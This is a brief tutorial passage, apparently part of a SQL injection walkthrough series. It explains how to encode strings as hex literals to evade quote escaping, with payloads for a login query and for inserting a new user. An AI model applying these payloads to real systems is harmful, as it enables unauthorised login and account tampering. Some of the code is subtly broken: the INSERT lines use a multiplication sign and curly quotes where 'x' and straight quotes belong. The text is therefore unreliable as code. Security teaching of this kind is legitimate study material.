SQL Injection Walkthrough part VI (Advanced Vectors part two/end)

Using an HEX encoded query to bypass escaping.
Normal:

SELECT * FROM login WHERE user = 'root'
Bypass:

SELECT * FROM login WHERE user = 0x726F6F74
Inserting a new user in SQL.
Normal:

insert into login set user = ‘root’, pass = ‘root’
Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74
How to determin the HEX value for injection.

SELECT HEX('root');
gives you:

726F6F74
then add:

0x
before it.